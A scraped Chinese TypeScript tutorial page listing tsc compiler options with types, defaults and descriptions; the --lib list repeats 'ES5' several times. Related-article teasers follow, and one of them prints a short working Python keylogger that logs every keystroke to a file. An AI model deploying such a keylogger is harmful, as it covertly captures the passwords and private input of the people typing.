35.【TypeScript 教程】编译选项

TypeScript 编译选项

TypeScript 提供了很多不同功能的编译选项,既可以通过配置 tsconfig.json 文件中的 compilerOptions 属性来实现编译,也可以使用在 tsc 命令后跟随参数这形式,直接编译 .ts 文件。

注意: 当命令行上指定了输入文件时,tsconfig.json 文件会被忽略。

1. 解释

我们通过编译选项 --watch 为例,在当前目录创建 main.ts 文件,写入内容:

enum Season {Spring,Summer,Autumn,Winter
}

在命令行执行:

tsc main.ts --watch

代码块

  • 1

编译选项 --watch 使编译器在监视模式下运行,会监视输出文件,在它们改变时重新编译。

2. 编译选项

选项类型默认值描述
–allowJsbooleanfalse允许编译 JavaScript 文件
–allowSyntheticDefaultImportsbooleanfalse允许从没有设置默认导出的模块中默认导入
–allowUnreachableCodebooleanfalse不报告执行不到的代码错误
–allowUnusedLabelsbooleanfalse不报告未使用的标签错误
–alwaysStrictbooleanfalse以严格模式解析并为每个源文件生成 "use strict" 语句
--baseUrlstring解析非相对模块名的基准目录
–charsetstring“utf8”输入文件的字符集
–checkJsbooleanfalse在 .js 文件中报告错误,与 --allowJs 配合使用
–declaration
-d
booleanfalse生成相应的 .d.ts 文件
–declarationDirstring生成声明文件的输出路径
–diagnosticsbooleanfalse显示诊断信息
–disableSizeLimitbooleanfalse禁用 JavaScript 工程体积大小的限制
–emitBOMbooleanfalse在输出文件的开头加入BOM头(UTF-8 Byte Order Mark)
–emitDecoratorMetadata[1]booleanfalse给源码里的装饰器声明加上设计类型元数据。查看 issue #2577 了解更多信息。
–experimentalDecorators[1]booleanfalse启用实验性的ES装饰器
–extendedDiagnosticsbooleanfalse显示详细的诊断信息
–forceConsistentCasingInFileNamesbooleanfalse禁止对同一个文件的不一致的引用
–help
-h
打印帮助信息
–importHelpersstring从 tslib 导入辅助工具函数(比如 __extends, __rest等)
–inlineSourceMapbooleanfalse生成单个 sourcemaps 文件,而不是将每 sourcemaps 生成不同的文件
–inlineSourcesbooleanfalse将代码与 sourcemaps 生成到一个文件中,要求同时设置了 --inlineSourceMap 或 --sourceMap 属性
--init初始化 TypeScript 项目并创建一个 tsconfig.json 文件
–isolatedModulesbooleanfalse将每个文件作为单独的模块(与 “ts.transpileModule” 类似)
–jsxstring“Preserve”在 .tsx 文件里支持 JSX: “React” 或 “Preserve”。
–jsxFactorystring“React.createElement”指定生成目标为 react JSX 时,使用的 JSX 工厂函数,比如 React.createElement 或 h
–libstring[]编译过程中需要引入的库文件的列表。
可能的值为:
► ES5
► ES6
► ES2015
► ES7
► ES2016
► ES2017
► ES2018
► ESNext
► ES5
► ES5
► ES5
► ES5
► ES5
► ES5
► DOM
► DOM.Iterable
► WebWorker
► ScriptHost
► ES2015.Core
► ES2015.Collection
► ES2015.Generator
► ES2015.Iterable
► ES2015.Promise
► ES2015.Proxy
► ES2015.Reflect
► ES2015.Symbol
► ES2015.Symbol.WellKnown
► ES2016.Array.Include
► ES2017.object
► ES2017.Intl
► ES2017.SharedMemory
► ES2017.String
► ES2017.TypedArrays
► ES2018.Intl
► ES2018.Promise
► ES2018.RegExp
► ESNext.AsyncIterable
► ESNext.Array
► ESNext.Intl
► ESNext.Symbol

注意:如果 --lib 没有指定默认注入的库的列表。默认注入的库为:
► 针对于 --target ES5DOM,ES5,ScriptHost
► 针对于 --target ES6DOM,ES6,DOM.Iterable,ScriptHost
–listEmittedFilesbooleanfalse打印出编译后生成文件的名字
–listFilesbooleanfalse编译过程中打印文件名
–localestring(platform specific)显示错误信息时使用的语言,比如:en-us
–mapRootstring为调试器指定指定 sourcemap 文件的路径,而不是使用生成时的路径。当 .map 文件是在运行时指定的,并不同于 js 文件的地址时使用这个标记。指定的路径会嵌入到 sourceMap 里告诉调试器到哪里去找它们
–maxNodeModuleJsDepthnumber0node_modules 依赖的最大搜索深度并加载 JavaScript 文件,仅适用于 --allowJs
–module
-m
stringtarget === “ES6” ? “ES6” : “commonjs”指定生成哪个模块系统代码: “None”, “CommonJS”, “AMD”, “System”, “UMD”, "ES6"或 “ES2015”。
► 只有 "AMD"和 "System"能和 --outFile一起使用。
► "ES6"和 "ES2015"可使用在目标输出为 "ES5"或更低的情况下。
–moduleResolutionstringmodule === “AMD” or “System” or “ES6” ? “Classic” : “Node”决定如何处理模块。或者是 “Node” 对于 Node.js/io.js,或者是 “Classic”(默认)
–newLinestring(platform specific)当生成文件时指定行结束符: "crlf"(windows)或 "lf"(unix)
–noEmitbooleanfalse不生成输出文件
–noEmitHelpersbooleanfalse不在输出文件中生成用户自定义的帮助函数代码,如 __extends
–noEmitOnErrorbooleanfalse报错时不生成输出文件
–noErrorTruncationbooleanfalse不截短错误消息
–noFallthroughCasesInSwitchbooleanfalse报告 switch 语句的 fallthrough 错误。(即,不允许 switch 的 case 语句贯穿)
--noImplicitAnybooleanfalse在表达式和声明上有隐含的 any 类型时报错
–noImplicitReturnsbooleanfalse不是函数的所有返回路径都有返回值时报错
–noImplicitThisbooleanfalse当 this 表达式的值为 any 类型的时候,生成一个错误
–noImplicitUseStrictbooleanfalse模块输出中不包含 “use strict” 指令
–noLibbooleanfalse不包含默认的库文件( lib.d.ts )
–noResolvebooleanfalse不把 /// <reference``> 或模块导入的文件加到编译文件列表
–noStrictGenericChecksbooleanfalse禁用在函数类型里对泛型签名进行严格检查
–noUnusedLocalsbooleanfalse若有未使用的局部变量则抛错
–noUnusedParametersbooleanfalse若有未使用的参数则抛错
--outDirstring重定向输出目录
–outFilestring将输出文件合并为一个文件,合并的顺序是根据传入编译器的文件顺序和 ///<reference``> 和 import 的文件顺序决定的
–skipDefaultLibCheckbooleanfalse忽略库的默认声明文件的类型检查
–skipLibCheckbooleanfalse忽略所有的声明文件( *.d.ts )的类型检查
--sourceMapbooleanfalse生成相应的 .map 文件
–sourceRootstring指定 TypeScript 源文件的路径,以便调试器定位。当 TypeScript 文件的位置是在运行时指定时使用此标记, 路径信息会被加到 sourceMap 里
--strictbooleanfalse启用所有严格类型检查选项
–strictFunctionTypesbooleanfalse禁用函数参数双向协变检查
–strictPropertyInitializationbooleanfalse确保类的非 undefined 属性已经在构造函数里初始化。若要令此选项生效,需要同时启用 --strictNullChecks
--strictNullChecksbooleanfalse在严格的 null 检查模式下,null 和 undefined 值不包含在任何类型里,只允许用它们自己和 any 来赋值(有个例外, undefined 可以赋值到 void)
–stripInternal[1]booleanfalse不对具有 /** @internal */ JSDoc注解的代码生成代码
–suppressExcessPropertyErrors[1]booleanfalse阻止对对象字面量的额外属性检查
–suppressImplicitAnyIndexErrorsbooleanfalse阻止 --noImplicitAny 对缺少索引签名的索引对象报错。查看 issue #1232 了解详情。
--target <br> -tstring“ES3”指定ECMAScript目标版本 "ES3"(默认), "ES5", "ES6""ES2015", "ES2016", "ES2017" 或 "ESNext"

注意: "ESNext" 最新的生成目标列表为 ES proposed features
–traceResolutionbooleanfalse生成模块解析日志信息
–typesstring[]要包含的类型声明文件名列表
–typeRootsstring[]要包含的类型声明文件路径列表
--version <br> -v打印编译器版本号
–watch
-w
在监视模式下运行编译器。会监视输出文件,在它们改变时重新编译。监视文件和目录的具体实现可以通过环境变量进行配置
  • [1] 这些选项是试验性的

3. 小结

本小节梳理了 TypeScript 的众多编译选项,可以先通读一遍,大致了解有些什么功能,在项目中需要使用时再来查阅即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/655761.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Web3技术革新:重新定义在线体验

互联网的不断演进塑造了我们的数字生活&#xff0c;而Web3技术的涌现正带来一场前所未有的变革。本文将深入探讨Web3技术的创新&#xff0c;以及它如何重新定义和提升我们的在线体验。 Web3技术的基本概念 Web3是互联网的第三个时代&#xff0c;它将去中心化、区块链、智能合约…

解决import Jetson.GPIO报错“权限错误”

在导入Jetson.GPIO模块时出现权限错误&#xff0c;可能是由于缺少适当的权限或设备权限问题。以下是一些建议&#xff1a; 使用sudo&#xff1a; 尝试使用sudo来运行你的Python脚本或解释器&#xff0c;以获取足够的权限&#xff1a; sudo python your_script.py请注意&#xf…

(一)PySpark3:安装教程及RDD编程(非常详细)

目录 一、pyspark介绍 二、PySpark安装 三、RDD编程 1、创建RDD 2、常用Action操作 ①collect ②take ③takeSample ④first ⑤count ⑥reduce ⑦foreach ⑧countByKey ⑨saveAsTextFile 3、常用Transformation操作 ①map ②filter ③flatMap ④sample ⑤d…

【Linux】—— 信号的产生

本期&#xff0c;我们今天要将的是信号的第二个知识&#xff0c;即信号的产生。 目录 &#xff08;一&#xff09;通过终端按键产生信号 &#xff08;二&#xff09;调用系统函数向进程发信号 &#xff08;三&#xff09;由软件条件产生信号 &#xff08;四&#xff09;硬件…

会计分录的概念和应用

目录 一. 会计分录的概念二. 会计分录的分类三. 会计分录的应用 \quad 一. 会计分录的概念 \quad 会计分录是指对每笔经济业务列示其应借记和应贷记账户及其金额的一种记录。 会计分录的基本要素 ( 1 )账户及其所属明细账户名称(或会计科目及其所属明细科目名称) (2 )记账方向…

Linux系统——正则表达式

有一段时间本机访问量过高&#xff0c;如何查看日志提取出访问量前十的信息 1.使用提取命令&#xff08;cut、awk、sed&#xff09;提取出ip地址的那一列 2.使用sort按数字排序&#xff0c;将相同的地址整合到一起 3.使用uniq -c统计出数量 4.使用sort 数字 数字倒序排序 5.最…

nginx的编译安装

nginx 的编译安装 1. 准备 下载地址&#xff1a;https://nginx.org/en/download.html linux服务器环境 2. 安装 2.1 解压并进入源码目录 tar -zxvf nginx-1.24.0.tar.gz cd nginx-1.24.0.tar.gz 2.2 安装 nginx编译时所需的依赖库 yum -y install gcc pcre pcre-devel zli…

MySQL二月进阶学习计划

CSDN的各位读者&#xff0c;大家好。马上过年了&#xff0c;最近工作不是很忙&#xff0c;所以有很多时间用来学习。 过去的一周我也学习了一部分内容&#xff0c;但是像无头苍蝇一样没有规划。 我计划用整个2月的时间&#xff0c;再好好学习一遍MySQL数据库相关的知识。下面是…

【大数据】Flink SQL 语法篇(一):CREATE

Flink SQL 语法篇&#xff08;一&#xff09; 1.建表语句2.表中的列2.1 常规列&#xff08;物理列&#xff09;2.2 元数据列2.3 计算列 3.定义 Watermark4.Create Table With 子句5.Create Table Like 子句 CREATE 语句用于向当前或指定的 Catalog 中注册库、表、视图或函数。注…

Vue使用百度地图实现聚合的效果(vue-baidu-map)

Vue使用百度地图实现聚合的效果(vue-baidu-map) 安装插件&#xff1a;yarn add vue-baidu-map在main.js中全局引入密钥&#xff08;在百度开发者中心注册&#xff09;&#xff1a;import BaiduMap from vue-baidu-map Vue.use(BaiduMap, {ak: your_app_key // 百度地图秘钥 })…

PySimpleGUI界面读取PDF转换Excel

PySimpleGUI 是一个用于创建图形用户界面的 Python 库&#xff0c;而 PDF 文件和 Excel 文件是两种不同的数据格式。要将 PDF 文件转换为 Excel 文件&#xff0c;你需要使用额外的库&#xff0c;如 pdf2excel。 下面是一个示例流程&#xff0c;展示了如何使用 PySimpleGUI 创建…

Compose | UI组件(十一) | Spacer - 留白

文章目录 前言Spacer组件的参数说明Spacer组件的使用 总结 前言 Spacer组件是让两组件之间留有空白间隔 Spacer组件的参数说明 Spacer只有一个修饰符&#xff0c;修饰留空白的大小和比例&#xff0c;颜色 Spacer(modifier: Modifier)Spacer组件的使用 Row {Box(modifier M…

Ruby安装演示教程

当涉及到 Ruby 的安装过程时&#xff0c;一种常见的方法是通过 RVM&#xff08;Ruby Version Manager&#xff09;来进行安装和管理。以下是在 Linux 系统上使用 RVM 安装 Ruby 的步骤演示教程&#xff1a; 1、安装 RVM&#xff1a; # 在终端中执行以下命令来下载并安装 RVM…

【React教程】(2) React之JSX入门与列表渲染、条件渲染详细代码示例

目录 JSX环境配置基本语法规则在 JSX 中嵌入 JavaScript 表达式在 JavaScript 表达式中嵌入 JSXJSX 中的节点属性声明子节点JSX 自动阻止注入攻击在 JSX 中使用注释JSX 原理列表循环DOM Elements 列表渲染语法高亮 条件渲染示例1&#xff1a;示例2&#xff1a;示例3&#xff08…

Learn to Earn,Move星航计划第三期诚邀您探索编程和区块链的乐趣

*以下文章来源于MoveFuns &#xff0c;作者MoveFuns DAO 星航计划是一个 Web3 技术的公益计划,旨在引导更多的人加入开源社区,学习Move语言&#xff0c;了解Web3。本期星航计划由 MoveFuns Dao 发起&#xff0c;由Sui官方基金会支持&#xff0c;汇集了 Web3开发领域内的专业导…

FullStack之Django(1)开发环境配置

FullStack之Django(1)开发环境配置 author: Once Day date&#xff1a;2022年2月11日/2024年1月27日 漫漫长路&#xff0c;才刚刚开始… 全系列文档请查看专栏: FullStack开发_Once_day的博客-CSDN博客Django开发_Once_day的博客-CSDN博客 具体参考文档: The web framewor…

键盘记录器Python代码

键盘记录器完整代码 from pynput.keyboard import Key, Listener import logging logging.basicConfig(filename("keylog.txt"), levellogging.DEBUG, format" %(asctime)s - %(message)s") def on_press(key):logging.info(str(key)) with Listener(on_p…

mysql 正则表达式用法(一)

记录下关于mysql中regexp 正则匹配字符串的相关用法 一、匹配字符类 [:alnum:]  任意字母和数字(同[a-zA-Z0-9]) [:alpha:]  任意字符(同[a-zA-Z]) [:blank:]  空格和制表(同[\t]) [:cntrl:]  ASCII控制字符(ASCII 0到31和127) [:digit:]  任意数字(同[0-9]) [:graph:] …

Leetcode 203 移除链表元素

Leetcode 203 移除链表元素 准备工作1&#xff09;ListNode基本结构2&#xff09;初始化ListNode集合 解法一&#xff1a;遍历判定解法二&#xff1a;递归判定 Leetcode 203 移除链表元素 准备工作 1&#xff09;ListNode基本结构 public class ListNode {public int val;pu…

图灵之旅--ArrayList顺序表LinkedList链表栈Stack队列Queue

目录 线性表顺序表ArrayList简介ArrayList使用ArrayList的构造ArrayList常见操作ArrayList的遍历ArrayList的扩容机制利用ArrayList洗牌ArrayList的优缺点 链表链表的实现双向链表的实现 LinkedListLinkedList引入LinkedList的使用LinkedList的构造LinkedList的常用方法介绍Lin…